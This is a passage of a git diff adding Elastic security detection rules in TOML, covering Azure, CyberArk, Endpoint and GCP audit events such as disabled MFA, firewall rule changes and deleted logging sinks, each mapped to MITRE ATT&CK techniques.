+[rule.threat.tactic] +id = "TA0003" +name = "Persistence" +reference = "https://attack.mitre.org/tactics/TA0003/" +[[rule.threat]] +framework = "MITRE ATT&CK" +[[rule.threat.technique]] +id = "T1078" +name = "Valid Accounts" +reference = "https://attack.mitre.org/techniques/T1078/" + + +[rule.threat.tactic] +id = "TA0005" +name = "Defense Evasion" +reference = "https://attack.mitre.org/tactics/TA0005/" + diff --git a/rules/integrations/azure/persistence_mfa_disabled_for_azure_user.toml b/rules/integrations/azure/persistence_mfa_disabled_for_azure_user.toml new file mode 100644 index 000000000..6824c4e47 --- /dev/null +++ b/rules/integrations/azure/persistence_mfa_disabled_for_azure_user.toml @@ -0,0 +1,45 @@ +[metadata] +creation_date = "2020/08/20" +maturity = "production" +updated_date = "2021/07/20" +integration = "azure" + +[rule] +author = ["Elastic"] +description = """ +Identifies when multi-factor authentication (MFA) is disabled for an Azure user account. An adversary may disable MFA +for a user account in order to weaken the authentication requirements for the account. +""" +from = "now-25m" +index = ["filebeat-*", "logs-azure*"] +language = "kuery" +license = "Elastic License v2" +name = "Multi-Factor Authentication Disabled for an Azure User" +note = """## Config + +The Azure Fleet integration, Filebeat module, or similarly structured data is required to be compatible with this rule.""" +risk_score = 47 +rule_id = "dafa3235-76dc-40e2-9f71-1773b96d24cf" +severity = "medium" +tags = ["Elastic", "Cloud", "Azure", "Continuous Monitoring", "SecOps", "Identity and Access"] +timestamp_override = "event.ingested" +type = "query" + +query = ''' +event.dataset:azure.auditlogs and azure.auditlogs.operation_name:"Disable Strong Authentication" and event.outcome:(Success or success) +''' + + +[[rule.threat]] +framework = "MITRE ATT&CK" +[[rule.threat.technique]] +id = "T1098" +name = "Account Manipulation" +reference = "https://attack.mitre.org/techniques/T1098/" + + +[rule.threat.tactic] +id = "TA0003" +name = "Persistence" +reference = "https://attack.mitre.org/tactics/TA0003/" + diff --git a/rules/integrations/azure/persistence_user_added_as_owner_for_azure_application.toml b/rules/integrations/azure/persistence_user_added_as_owner_for_azure_application.toml new file mode 100644 index 000000000..9118cbe46 --- /dev/null +++ b/rules/integrations/azure/persistence_user_added_as_owner_for_azure_application.toml @@ -0,0 +1,46 @@ +[metadata] +creation_date = "2020/08/20" +maturity = "production" +updated_date = "2021/07/20" +integration = "azure" + +[rule] +author = ["Elastic"] +description = """ +Identifies when a user is added as an owner for an Azure application. An adversary may add a user account as an owner +for an Azure application in order to grant additional permissions and modify the application's configuration using +another account. +""" +from = "now-25m" +index = ["filebeat-*", "logs-azure*"] +language = "kuery" +license = "Elastic License v2" +name = "User Added as Owner for Azure Application" +note = """## Config + +The Azure Fleet integration, Filebeat module, or similarly structured data is required to be compatible with this rule.""" +risk_score = 21 +rule_id = "774f5e28-7b75-4a58-b94e-41bf060fdd86" +severity = "low" +tags = ["Elastic", "Cloud", "Azure", "Continuous Monitoring", "SecOps", "Configuration Audit"] +timestamp_override = "event.ingested" +type = "query" + +query = ''' +event.dataset:azure.auditlogs and azure.auditlogs.operation_name:"Add owner to application" and event.outcome:(Success or success) +''' + + +[[rule.threat]] +framework = "MITRE ATT&CK" +[[rule.threat.technique]] +id = "T1098" +name = "Account Manipulation" +reference = "https://attack.mitre.org/techniques/T1098/" + + +[rule.threat.tactic] +id = "TA0003" +name = "Persistence" +reference = "https://attack.mitre.org/tactics/TA0003/" + diff --git a/rules/integrations/azure/persistence_user_added_as_owner_for_azure_service_principal.toml b/rules/integrations/azure/persistence_user_added_as_owner_for_azure_service_principal.toml new file mode 100644 index 000000000..77c798d35 --- /dev/null +++ b/rules/integrations/azure/persistence_user_added_as_owner_for_azure_service_principal.toml @@ -0,0 +1,51 @@ +[metadata] +creation_date = "2020/08/20" +maturity = "production" +updated_date = "2021/07/20" +integration = "azure" + +[rule] +author = ["Elastic"] +description = """ +Identifies when a user is added as an owner for an Azure service principal. The service principal object defines what +the application can do in the specific tenant, who can access the application, and what resources the app can access. A +service principal object is created when an application is given permission to access resources in a tenant. An +adversary may add a user account as an owner for a service principal and use that account in order to define what an +application can do in the Azure AD tenant. +""" +from = "now-25m" +index = ["filebeat-*", "logs-azure*"] +language = "kuery" +license = "Elastic License v2" +name = "User Added as Owner for Azure Service Principal" +note = """## Config + +The Azure Fleet integration, Filebeat module, or similarly structured data is required to be compatible with this rule.""" +references = [ + "https://docs.microsoft.com/en-us/azure/active-directory/develop/app-objects-and-service-principals", +] +risk_score = 21 +rule_id = "38e5acdd-5f20-4d99-8fe4-f0a1a592077f" +severity = "low" +tags = ["Elastic", "Cloud", "Azure", "Continuous Monitoring", "SecOps", "Configuration Audit"] +timestamp_override = "event.ingested" +type = "query" + +query = ''' +event.dataset:azure.auditlogs and azure.auditlogs.operation_name:"Add owner to service principal" and event.outcome:(Success or success) +''' + + +[[rule.threat]] +framework = "MITRE ATT&CK" +[[rule.threat.technique]] +id = "T1098" +name = "Account Manipulation" +reference = "https://attack.mitre.org/techniques/T1098/" + + +[rule.threat.tactic] +id = "TA0003" +name = "Persistence" +reference = "https://attack.mitre.org/tactics/TA0003/" + diff --git a/rules/integrations/azure/privilege_escalation_azure_kubernetes_rolebinding_created.toml b/rules/integrations/azure/privilege_escalation_azure_kubernetes_rolebinding_created.toml new file mode 100644 index 000000000..1fa2c5501 --- /dev/null +++ b/rules/integrations/azure/privilege_escalation_azure_kubernetes_rolebinding_created.toml @@ -0,0 +1,47 @@ +[metadata] +creation_date = "2021/10/18" +maturity = "production" +updated_date = "2021/11/22" +integration = "azure" + +[rule] +author = ["Austin Songer"] +description = """ +Identifies the creation of role binding or cluster role bindings. You can assign these roles to Kubernetes subjects +(users, groups, or service accounts) with role bindings and cluster role bindings. An adversary who has permissions to create +bindings and cluster-bindings in the cluster can create a binding to the cluster-admin ClusterRole or to other high privileges +roles. +""" +from = "now-20m" +index = ["filebeat-*", "logs-azure*"] +language = "kuery" +license = "Elastic License v2" +name = "Azure Kubernetes Rolebindings Created" +note = """## Config + +The Azure Fleet integration, Filebeat module, or similarly structured data is required to be compatible with this rule.""" +references = [ + "https://docs.microsoft.com/en-us/azure/role-based-access-control/resource-provider-operations#microsoftkubernetes", + "https://www.microsoft.com/security/blog/2020/04/02/attack-matrix-kubernetes/", +] +risk_score = 21 +rule_id = "1c966416-60c1-436b-bfd0-e002fddbfd89" +severity = "low" +tags = ["Elastic", "Cloud", "Azure", "Continuous Monitoring", "SecOps", "Identity and Access"] +timestamp_override = "event.ingested" +type = "query" + +query = ''' +event.dataset:azure.activitylogs and azure.activitylogs.operation_name: + ("MICROSOFT.KUBERNETES/CONNECTEDCLUSTERS/RBAC.AUTHORIZATION.K8S.IO/ROLEBINDINGS/WRITE" or + "MICROSOFT.KUBERNETES/CONNECTEDCLUSTERS/RBAC.AUTHORIZATION.K8S.IO/CLUSTERROLEBINDINGS/WRITE") and +event.outcome:(Success or success) +''' + +[[rule.threat]] +framework = "MITRE ATT&CK" + +[rule.threat.tactic] +id = "TA0004" +name = "Privilege Escalation" +reference = "https://attack.mitre.org/tactics/TA0004/" diff --git a/rules/integrations/cyberarkpas/privilege_escalation_cyberarkpas_error_audit_event_promotion.toml b/rules/integrations/cyberarkpas/privilege_escalation_cyberarkpas_error_audit_event_promotion.toml new file mode 100644 index 000000000..019430820 --- /dev/null +++ b/rules/integrations/cyberarkpas/privilege_escalation_cyberarkpas_error_audit_event_promotion.toml @@ -0,0 +1,65 @@ +[metadata] +creation_date = "2021/06/23" +maturity = "production" +updated_date = "2021/07/20" +integration = "cyberarkpas" +min_stack_comments = "The integration was not introduced until 7.14" +min_stack_version = "7.14.0" + +[rule] +author = ["Elastic"] +description = """Identifies the occurrence of a CyberArk Privileged Access Security (PAS) error level audit event. The +event.code correlates to the CyberArk Vault Audit Action Code. +""" +false_positives = ["To tune this rule, add exceptions to exclude any event.code which should not trigger this rule."] +from = "now-30m" +index = ["filebeat-*", "logs-cyberarkpas.audit*"] +language = "kuery" +license = "Elastic License v2" +name = "CyberArk Privileged Access Security Error" +note = """## Config + +The CyberArk Privileged Access Security (PAS) Fleet integration, Filebeat module, or similarly structured data is required to be compatible with this rule. + +## Triage and analysis + +This is a promotion rule for CyberArk error events, which are alertable events per the vendor. +Consult vendor documentation on interpreting specific events. +""" +references = [ + "https://docs.cyberark.com/Product-Doc/OnlineHelp/PAS/Latest/en/Content/PASREF/Vault%20Audit%20Action%20Codes.htm?tocpath=Administration%7CReferences%7C_____3", +] +risk_score = 73 +rule_id = "3f0e5410-a4bf-4e8c-bcfc-79d67a285c54" +rule_name_override = "event.action" +severity = "high" +tags = ["Elastic", "cyberarkpas", "SecOps", "Log Auditing", "Threat Detection", "Privilege Escalation"] +timestamp_override = "event.ingested" +type = "query" + +query = ''' +event.dataset:cyberarkpas.audit and event.type:error +''' + + +[[rule.threat]] +framework = "MITRE ATT&CK" + +[[rule.threat.technique]] +id = "T1078" +name = "Valid Accounts" +reference = "https://attack.mitre.org/techniques/T1078/" + +[rule.threat.tactic] +id = "TA0004" +name = "Privilege Escalation" +reference = "https://attack.mitre.org/tactics/TA0004/" + + +[[rule.threat]] +framework = "MITRE ATT&CK" + +[rule.threat.tactic] +id = "TA0001" +reference = "https://attack.mitre.org/tactics/TA0001/" +name = "Initial Access" diff --git a/rules/integrations/cyberarkpas/privilege_escalation_cyberarkpas_recommended_events_to_monitor_promotion.toml b/rules/integrations/cyberarkpas/privilege_escalation_cyberarkpas_recommended_events_to_monitor_promotion.toml new file mode 100644 index 000000000..f8bfe2945 --- /dev/null +++ b/rules/integrations/cyberarkpas/privilege_escalation_cyberarkpas_recommended_events_to_monitor_promotion.toml @@ -0,0 +1,69 @@ +[metadata] +creation_date = "2021/06/23" +maturity = "production" +updated_date = "2021/07/20" +integration = "cyberarkpas" +min_stack_comments = "The integration was not introduced until 7.14" +min_stack_version = '7.14.0' + +[rule] +author = ["Elastic"] +description = """ +Identifies the occurrence of a CyberArk Privileged Access Security (PAS) non-error level audit event which is +recommended for monitoring by the vendor. The event.code correlates to the CyberArk Vault Audit Action Code. +""" +false_positives = ["To tune this rule, add exceptions to exclude any event.code which should not trigger this rule."] +from = "now-30m" +index = ["filebeat-*", "logs-cyberarkpas.audit*"] +language = "kuery" +license = "Elastic License v2" +name = "CyberArk Privileged Access Security Recommended Monitor" +note = """## Config + +The CyberArk Privileged Access Security (PAS) Fleet integration, Filebeat module, or similarly structured data is required to be compatible with this rule. + +## Triage and analysis + +This is a promotion rule for CyberArk events, which the vendor recommends should be monitored. +Consult vendor documentation on interpreting specific events. +""" +references = [ + "https://docs.cyberark.com/Product-Doc/OnlineHelp/PAS/Latest/en/Content/PASREF/Vault%20Audit%20Action%20Codes.htm?tocpath=Administration%7CReferences%7C_____3#RecommendedActionCodesforMonitoring", +] +risk_score = 73 +rule_id = "c5f81243-56e0-47f9-b5bb-55a5ed89ba57" +rule_name_override = "event.action" +severity = "high" +tags = ["Elastic", "cyberarkpas", "SecOps", "Log Auditing", "Threat Detection", "Privilege Escalation"] +timestamp_override = "event.ingested" +type = "query" + +query = ''' +event.dataset:cyberarkpas.audit and + event.code:(4 or 22 or 24 or 31 or 38 or 57 or 60 or 130 or 295 or 300 or 302 or + 308 or 319 or 344 or 346 or 359 or 361 or 378 or 380 or 411) and + not event.type:error +''' + + +[[rule.threat]] +framework = "MITRE ATT&CK" + +[[rule.threat.technique]] +id = "T1078" +name = "Valid Accounts" +reference = "https://attack.mitre.org/techniques/T1078/" + +[rule.threat.tactic] +id = "TA0004" +name = "Privilege Escalation" +reference = "https://attack.mitre.org/tactics/TA0004/" + + +[[rule.threat]] +framework = "MITRE ATT&CK" + +[rule.threat.tactic] +id = "TA0001" +reference = "https://attack.mitre.org/tactics/TA0001/" +name = "Initial Access" diff --git a/rules/integrations/endpoint/elastic_endpoint_security.toml b/rules/integrations/endpoint/elastic_endpoint_security.toml new file mode 100644 index 000000000..f4b6bd08f --- /dev/null +++ b/rules/integrations/endpoint/elastic_endpoint_security.toml @@ -0,0 +1,68 @@ +[metadata] +creation_date = "2020/07/08" +maturity = "production" +updated_date = "2021/10/11" +integration = "endpoint" + +[rule] +author = ["Elastic"] +description = """ +Generates a detection alert each time an Elastic Endpoint Security alert is received. Enabling this rule allows you to +immediately begin investigating your Endpoint alerts. +""" +enabled = true +from = "now-10m" +index = ["logs-endpoint.alerts-*"] +language = "kuery" +license = "Elastic License v2" +max_signals = 10000 +name = "Endpoint Security" +risk_score = 47 +rule_id = "9a1a2dae-0b5f-4c3d-8305-a268d404c306" +rule_name_override = "message" +severity = "medium" +tags = ["Elastic", "Endpoint Security"] +timestamp_override = "event.ingested" +type = "query" + +query = ''' +event.kind:alert and event.module:(endpoint and not endgame) +''' + + +[[rule.exceptions_list]] +id = "endpoint_list" +list_id = "endpoint_list" +namespace_type = "agnostic" +type = "endpoint" + +[[rule.risk_score_mapping]] +field = "event.risk_score" +operator = "equals" +value = "" + +[[rule.severity_mapping]] +field = "event.severity" +operator = "equals" +value = "21" +severity = "low" + +[[rule.severity_mapping]] +field = "event.severity" +operator = "equals" +value = "47" +severity = "medium" + +[[rule.severity_mapping]] +field = "event.severity" +operator = "equals" +value = "73" +severity = "high" + +[[rule.severity_mapping]] +field = "event.severity" +operator = "equals" +value = "99" +severity = "critical" + + diff --git a/rules/integrations/gcp/collection_gcp_pub_sub_subscription_creation.toml b/rules/integrations/gcp/collection_gcp_pub_sub_subscription_creation.toml new file mode 100644 index 000000000..2c450b0a2 --- /dev/null +++ b/rules/integrations/gcp/collection_gcp_pub_sub_subscription_creation.toml @@ -0,0 +1,53 @@ +[metadata] +creation_date = "2020/09/23" +maturity = "production" +updated_date = "2021/07/20" +integration = "gcp" + +[rule] +author = ["Elastic"] +description = """ +Identifies the creation of a subscription in Google Cloud Platform (GCP). In GCP, the publisher-subscriber relationship +(Pub/Sub) is an asynchronous messaging service that decouples event-producing and event-processing services. A +subscription is a named resource representing the stream of messages to be delivered to the subscribing application. +""" +false_positives = [ + """ + Subscription creations may be done by a system or network administrator. Verify whether the user email, resource + name, and/or hostname should be making changes in your environment. Subscription creations by unfamiliar users or + hosts should be investigated. If known behavior is causing false positives, it can be exempted from the rule. + """, +] +index = ["filebeat-*", "logs-gcp*"] +language = "kuery" +license = "Elastic License v2" +name = "GCP Pub/Sub Subscription Creation" +note = """## Config + +The GCP Fleet integration, Filebeat module, or similarly structured data is required to be compatible with this rule.""" +references = ["https://cloud.google.com/pubsub/docs/overview"] +risk_score = 21 +rule_id = "d62b64a8-a7c9-43e5-aee3-15a725a794e7" +severity = "low" +tags = ["Elastic", "Cloud", "GCP", "Continuous Monitoring", "SecOps", "Log Auditing"] +timestamp_override = "event.ingested" +type = "query" + +query = ''' +event.dataset:(googlecloud.audit or gcp.audit) and event.action:google.pubsub.v*.Subscriber.CreateSubscription and event.outcome:success +''' + + +[[rule.threat]] +framework = "MITRE ATT&CK" +[[rule.threat.technique]] +id = "T1530" +name = "Data from Cloud Storage Object" +reference = "https://attack.mitre.org/techniques/T1530/" + + +[rule.threat.tactic] +id = "TA0009" +name = "Collection" +reference = "https://attack.mitre.org/tactics/TA0009/" + diff --git a/rules/integrations/gcp/collection_gcp_pub_sub_topic_creation.toml b/rules/integrations/gcp/collection_gcp_pub_sub_topic_creation.toml new file mode 100644 index 000000000..6eedb3269 --- /dev/null +++ b/rules/integrations/gcp/collection_gcp_pub_sub_topic_creation.toml @@ -0,0 +1,53 @@ +[metadata] +creation_date = "2020/09/23" +maturity = "production" +updated_date = "2021/07/20" +integration = "gcp" + +[rule] +author = ["Elastic"] +description = """ +Identifies the creation of a topic in Google Cloud Platform (GCP). In GCP, the publisher-subscriber relationship +(Pub/Sub) is an asynchronous messaging service that decouples event-producing and event-processing services. A topic is +used to forward messages from publishers to subscribers. +""" +false_positives = [ + """ + Topic creations may be done by a system or network administrator. Verify whether the user email, resource name, + and/or hostname should be making changes in your environment. Topic creations by unfamiliar users or hosts should + be investigated. If known behavior is causing false positives, it can be exempted from the rule. + """, +] +index = ["filebeat-*", "logs-gcp*"] +language = "kuery" +license = "Elastic License v2" +name = "GCP Pub/Sub Topic Creation" +note = """## Config + +The GCP Fleet integration, Filebeat module, or similarly structured data is required to be compatible with this rule.""" +references = ["https://cloud.google.com/pubsub/docs/admin"] +risk_score = 21 +rule_id = "a10d3d9d-0f65-48f1-8b25-af175e2594f5" +severity = "low" +tags = ["Elastic", "Cloud", "GCP", "Continuous Monitoring", "SecOps", "Log Auditing"] +timestamp_override = "event.ingested" +type = "query" + +query = ''' +event.dataset:(googlecloud.audit or gcp.audit) and event.action:google.pubsub.v*.Publisher.CreateTopic and event.outcome:success +''' + + +[[rule.threat]] +framework = "MITRE ATT&CK" +[[rule.threat.technique]] +id = "T1530" +name = "Data from Cloud Storage Object" +reference = "https://attack.mitre.org/techniques/T1530/" + + +[rule.threat.tactic] +id = "TA0009" +name = "Collection" +reference = "https://attack.mitre.org/tactics/TA0009/" + diff --git a/rules/integrations/gcp/defense_evasion_gcp_firewall_rule_created.toml b/rules/integrations/gcp/defense_evasion_gcp_firewall_rule_created.toml new file mode 100644 index 000000000..8ce7d7a1b --- /dev/null +++ b/rules/integrations/gcp/defense_evasion_gcp_firewall_rule_created.toml @@ -0,0 +1,53 @@ +[metadata] +creation_date = "2020/09/21" +maturity = "production" +updated_date = "2021/07/20" +integration = "gcp" + +[rule] +author = ["Elastic"] +description = """ +Identifies when a firewall rule is created in Google Cloud Platform (GCP). Virtual Private Cloud (VPC) firewall rules +can be configured to allow or deny connections to or from virtual machine (VM) instances. An adversary may create a new +firewall rule in order to weaken their target's security controls and allow more permissive ingress or egress traffic +flows for their benefit. +""" +false_positives = [ + """ + Firewall rules may be created by system administrators. Verify that the firewall configuration change was expected. + Exceptions can be added to this rule to filter expected behavior. + """, +] +index = ["filebeat-*", "logs-gcp*"] +language = "kuery" +license = "Elastic License v2" +name = "GCP Firewall Rule Creation" +note = """## Config + +The GCP Fleet integration, Filebeat module, or similarly structured data is required to be compatible with this rule.""" +references = ["https://cloud.google.com/vpc/docs/firewalls"] +risk_score = 21 +rule_id = "30562697-9859-4ae0-a8c5-dab45d664170" +severity = "low" +tags = ["Elastic", "Cloud", "GCP", "Continuous Monitoring", "SecOps", "Configuration Audit"] +timestamp_override = "event.ingested" +type = "query" + +query = ''' +event.dataset:(googlecloud.audit or gcp.audit) and event.action:v*.compute.firewalls.insert +''' + + +[[rule.threat]] +framework = "MITRE ATT&CK" +[[rule.threat.technique]] +id = "T1562" +name = "Impair Defenses" +reference = "https://attack.mitre.org/techniques/T1562/" + + +[rule.threat.tactic] +id = "TA0005" +name = "Defense Evasion" +reference = "https://attack.mitre.org/tactics/TA0005/" + diff --git a/rules/integrations/gcp/defense_evasion_gcp_firewall_rule_deleted.toml b/rules/integrations/gcp/defense_evasion_gcp_firewall_rule_deleted.toml new file mode 100644 index 000000000..d7dea736e --- /dev/null +++ b/rules/integrations/gcp/defense_evasion_gcp_firewall_rule_deleted.toml @@ -0,0 +1,52 @@ +[metadata] +creation_date = "2020/09/21" +maturity = "production" +updated_date = "2021/07/20" +integration = "gcp" + +[rule] +author = ["Elastic"] +description = """ +Identifies when a firewall rule is deleted in Google Cloud Platform (GCP). Virtual Private Cloud (VPC) firewall rules +can be configured to allow or deny connections to or from virtual machine (VM) instances. An adversary may delete a +firewall rule in order to weaken their target's security controls. +""" +false_positives = [ + """ + Firewall rules may be deleted by system administrators. Verify that the firewall configuration change was expected. + Exceptions can be added to this rule to filter expected behavior. + """, +] +index = ["filebeat-*", "logs-gcp*"] +language = "kuery" +license = "Elastic License v2" +name = "GCP Firewall Rule Deletion" +note = """## Config + +The GCP Fleet integration, Filebeat module, or similarly structured data is required to be compatible with this rule.""" +references = ["https://cloud.google.com/vpc/docs/firewalls"] +risk_score = 47 +rule_id = "ff9b571e-61d6-4f6c-9561-eb4cca3bafe1" +severity = "medium" +tags = ["Elastic", "Cloud", "GCP", "Continuous Monitoring", "SecOps", "Configuration Audit"] +timestamp_override = "event.ingested" +type = "query" + +query = ''' +event.dataset:(googlecloud.audit or gcp.audit) and event.action:v*.compute.firewalls.delete +''' + + +[[rule.threat]] +framework = "MITRE ATT&CK" +[[rule.threat.technique]] +id = "T1562" +name = "Impair Defenses" +reference = "https://attack.mitre.org/techniques/T1562/" + + +[rule.threat.tactic] +id = "TA0005" +name = "Defense Evasion" +reference = "https://attack.mitre.org/tactics/TA0005/" + diff --git a/rules/integrations/gcp/defense_evasion_gcp_firewall_rule_modified.toml b/rules/integrations/gcp/defense_evasion_gcp_firewall_rule_modified.toml new file mode 100644 index 000000000..062d69925 --- /dev/null +++ b/rules/integrations/gcp/defense_evasion_gcp_firewall_rule_modified.toml @@ -0,0 +1,52 @@ +[metadata] +creation_date = "2020/09/21" +maturity = "production" +updated_date = "2021/07/20" +integration = "gcp" + +[rule] +author = ["Elastic"] +description = """ +Identifies when a firewall rule is modified in Google Cloud Platform (GCP). Virtual Private Cloud (VPC) firewall rules +can be configured to allow or deny connections to or from virtual machine (VM) instances. An adversary may modify a +firewall rule in order to weaken their target's security controls. +""" +false_positives = [ + """ + Firewall rules may be modified by system administrators. Verify that the firewall configuration change was expected. + Exceptions can be added to this rule to filter expected behavior. + """, +] +index = ["filebeat-*", "logs-gcp*"] +language = "kuery" +license = "Elastic License v2" +name = "GCP Firewall Rule Modification" +note = """## Config + +The GCP Fleet integration, Filebeat module, or similarly structured data is required to be compatible with this rule.""" +references = ["https://cloud.google.com/vpc/docs/firewalls"] +risk_score = 47 +rule_id = "2783d84f-5091-4d7d-9319-9fceda8fa71b" +severity = "medium" +tags = ["Elastic", "Cloud", "GCP", "Continuous Monitoring", "SecOps", "Configuration Audit"] +timestamp_override = "event.ingested" +type = "query" + +query = ''' +event.dataset:(googlecloud.audit or gcp.audit) and event.action:v*.compute.firewalls.patch +''' + + +[[rule.threat]] +framework = "MITRE ATT&CK" +[[rule.threat.technique]] +id = "T1562" +name = "Impair Defenses" +reference = "https://attack.mitre.org/techniques/T1562/" + + +[rule.threat.tactic] +id = "TA0005" +name = "Defense Evasion" +reference = "https://attack.mitre.org/tactics/TA0005/" + diff --git a/rules/integrations/gcp/defense_evasion_gcp_logging_bucket_deletion.toml b/rules/integrations/gcp/defense_evasion_gcp_logging_bucket_deletion.toml new file mode 100644 index 000000000..aadea9b77 --- /dev/null +++ b/rules/integrations/gcp/defense_evasion_gcp_logging_bucket_deletion.toml @@ -0,0 +1,55 @@ +[metadata] +creation_date = "2020/09/21" +maturity = "production" +updated_date = "2022/02/28" +integration = "gcp" + +[rule] +author = ["Elastic"] +description = """ +Identifies a Logging bucket deletion in Google Cloud Platform (GCP). Log buckets are containers that store and organize +log data. A deleted bucket stays in a pending state for 7 days, and Logging continues to route logs to the bucket during +that time. To stop routing logs to a deleted bucket, you can delete the log sinks that have the bucket as their +destination, or modify the filter for the sinks to stop it from routing logs to the deleted bucket. An adversary may +delete a log bucket to evade detection. +""" +false_positives = [ + """ + Logging bucket deletions may be done by a system or network administrator. Verify whether the user email, resource + name, and/or hostname should be making changes in your environment. Logging bucket deletions by unfamiliar users + or hosts should be investigated. If known behavior is causing false positives, it can be exempted from the rule. + """, +] +index = ["filebeat-*", "logs-gcp*"] +language = "kuery" +license = "Elastic License v2" +name = "GCP Logging Bucket Deletion" +note = """## Config + +The GCP Fleet integration, Filebeat module, or similarly structured data is required to be compatible with this rule.""" +references = ["https://cloud.google.com/logging/docs/buckets", "https://cloud.google.com/logging/docs/storage"] +risk_score = 47 +rule_id = "5663b693-0dea-4f2e-8275-f1ae5ff2de8e" +severity = "medium" +tags = ["Elastic", "Cloud", "GCP", "Continuous Monitoring", "SecOps", "Log Auditing"] +timestamp_override = "event.ingested" +type = "query" + +query = ''' +event.dataset:(googlecloud.audit or gcp.audit) and event.action:google.logging.v*.ConfigServiceV*.DeleteBucket and event.outcome:success +''' + + +[[rule.threat]] +framework = "MITRE ATT&CK" +[[rule.threat.technique]] +id = "T1562" +name = "Impair Defenses" +reference = "https://attack.mitre.org/techniques/T1562/" + + +[rule.threat.tactic] +id = "TA0005" +name = "Defense Evasion" +reference = "https://attack.mitre.org/tactics/TA0005/" + diff --git a/rules/integrations/gcp/defense_evasion_gcp_logging_sink_deletion.toml b/rules/integrations/gcp/defense_evasion_gcp_logging_sink_deletion.toml new file mode 100644 index 000000000..f36dce530 --- /dev/null +++ b/rules/integrations/gcp/defense_evasion_gcp_logging_sink_deletion.toml @@ -0,0 +1,53 @@ +[metadata] +creation_date = "2020/09/18" +maturity = "production" +updated_date = "2021/07/20" +integration = "gcp" + +[rule] +author = ["Elastic"] +description = """ +Identifies a Logging sink deletion in Google Cloud Platform (GCP). Every time a log entry arrives, Logging compares the +log entry to the sinks in that resource. Each sink whose filter matches the log entry writes a copy of the log entry to +the sink's export destination. An adversary may delete a Logging sink to evade detection. +""" +false_positives = [ + """ + Logging sink deletions may be done by a system or network administrator. Verify whether the user email, resource + name, and/or hostname should be making changes in your environment. Logging sink deletions by unfamiliar users or + hosts should be investigated. If known behavior is causing false positives, it can be exempted from the rule. + """, +] +index = ["filebeat-*", "logs-gcp*"] +language = "kuery" +license = "Elastic License v2" +name = "GCP Logging Sink Deletion" +note = """## Config + +The GCP Fleet integration, Filebeat module, or similarly structured data is required to be compatible with this rule.""" +references = ["https://cloud.google.com/logging/docs/export"] +risk_score = 47 +rule_id = "51859fa0-d86b-4214-bf48-ebb30ed91305" +severity = "medium" +tags = ["Elastic", "Cloud", "GCP", "Continuous Monitoring", "SecOps", "Log Auditing"] +timestamp_override = "event.ingested" +type = "query" + +query = ''' +event.dataset:(googlecloud.audit or gcp.audit) and event.action:google.logging.v*.ConfigServiceV*.DeleteSink and event.outcome:success +''' + + +[[rule.threat]] +framework = "MITRE ATT&CK" +[[rule.threat.technique]] +id = "T1562" +name = "Impair Defenses" +reference = "https://attack.mitre.org/techniques/T1562/" + + +[rule.threat.tactic] +id = "TA0005" +name = "Defense Evasion" +reference = "https://attack.mitre.org/tactics/TA0005/" + diff --git a/rules/integrations/gcp/defense_evasion_gcp_pub_sub_subscription_deletion.toml b/rules/integrations/gcp/defense_evasion_gcp_pub_sub_subscription_deletion.toml new file mode 100644 index 000000000..4e3f071d3 --- /dev/null +++ b/rules/integrations/gcp/defense_evasion_gcp_pub_sub_subscription_deletion.toml @@ -0,0 +1,53 @@ +[metadata] +creation_date = "2020/09/23" +maturity = "production" +updated_date = "2021/07/20" +integration = "gcp" + +[rule] +author = ["Elastic"] +description = """ +Identifies the deletion of a subscription in Google Cloud Platform (GCP). In GCP, the publisher-subscriber relationship +(Pub/Sub) is an asynchronous messaging service that decouples event-producing and event-processing services. A +subscription is a named resource representing the stream of messages to be delivered to the subscribing application. +""" +false_positives = [ + """ + Subscription deletions may be done by a system or network administrator. Verify whether the user email, resource + name, and/or hostname should be making changes in your environment. Subscription deletions by unfamiliar users or + hosts should be investigated. If known behavior is causing false positives, it can be exempted from the rule. + """, +] +index = ["filebeat-*", "logs-gcp*"] +language = "kuery" +license = "Elastic License v2" +name = "GCP Pub/Sub Subscription Deletion" +note = """## Config + +The GCP Fleet integration, Filebeat module, or similarly structured data is required to be compatible with this rule.""" +references = ["https://cloud.google.com/pubsub/docs/overview"] +risk_score = 21 +rule_id = "cc89312d-6f47-48e4-a87c-4977bd4633c3" +severity = "low" +tags = ["Elastic", "Cloud", "GCP", "Continuous Monitoring", "SecOps", "Log Auditing"] +timestamp_override = "event.ingested" +type = "query" + +query = ''' +event.dataset:(googlecloud.audit or gcp.audit) and event.action:google.pubsub.v*.Subscriber.DeleteSubscription and event.outcome:success +''' + + +[[rule.threat]] +framework = "MITRE ATT&CK" +[[rule.threat.technique]] +id = "T1562" +name = "Impair Defenses" +reference = "https://attack.mitre.org/techniques/T1562/" + + +[rule.threat.tactic] +id = "TA0005" +name = "Defense Evasion" +reference = "https://attack.mitre.org/tactics/TA0005/" + diff --git a/rules/integrations/gcp/defense_evasion_gcp_pub_sub_topic_deletion.toml b/rules/integrations/gcp/defense_evasion_gcp_pub_sub_topic_deletion.toml new file mode 100644 index 000000000..2a7503df3 --- /dev/null +++ b/rules/integrations/gcp/defense_evasion_gcp_pub_sub_topic_deletion.toml @@ -0,0 +1,53 @@ +[metadata] +creation_date = "2020/09/18" +maturity = "production" +updated_date = "2021/07/20" +integration = "gcp" + +[rule] +author = ["Elastic"] +description = """ +Identifies the deletion of a topic in Google Cloud Platform (GCP). In GCP, the publisher-subscriber relationship +(Pub/Sub) is an asynchronous messaging service that decouples event-producing and event-processing services. A publisher +application creates and sends messages to a topic. Deleting a topic can interrupt message flow in the Pub/Sub pipeline. +""" +false_positives = [ + """ + Topic deletions may be done by a system or network administrator. Verify whether the user email, resource name, + and/or hostname should be making changes in your environment. Topic deletions by unfamiliar users or hosts should + be investigated. If known behavior is causing false positives, it can be exempted from the rule. + """, +] +index = ["filebeat-*", "logs-gcp*"] +language = "kuery" +license = "Elastic License v2" +name = "GCP Pub/Sub Topic Deletion" +note = """## Config + +The GCP Fleet integration, Filebeat module, or similarly structured data is required to be compatible with this rule.""" +references = ["https://cloud.google.com/pubsub/docs/overview"] +risk_score = 21 +rule_id = "3202e172-01b1-4738-a932-d024c514ba72" +severity = "low" +tags = ["Elastic", "Cloud", "GCP", "Continuous Monitoring", "SecOps", "Log Auditing"] +timestamp_override = "event.ingested" +type = "query" + +query = ''' +event.dataset:(googlecloud.audit or gcp.audit) and event.action:google.pubsub.v*.Publisher.DeleteTopic and event.outcome:success +''' + + +[[rule.threat]] +framework = "MITRE ATT&CK" +[[rule.threat.technique]] +id = "T1562" +name = "Impair Defenses" +reference = "https://attack.mitre.org/techniques/T1562/" + + +[rule.threat.tactic] +id = "TA0005" +name = "Defense Evasion" +reference = 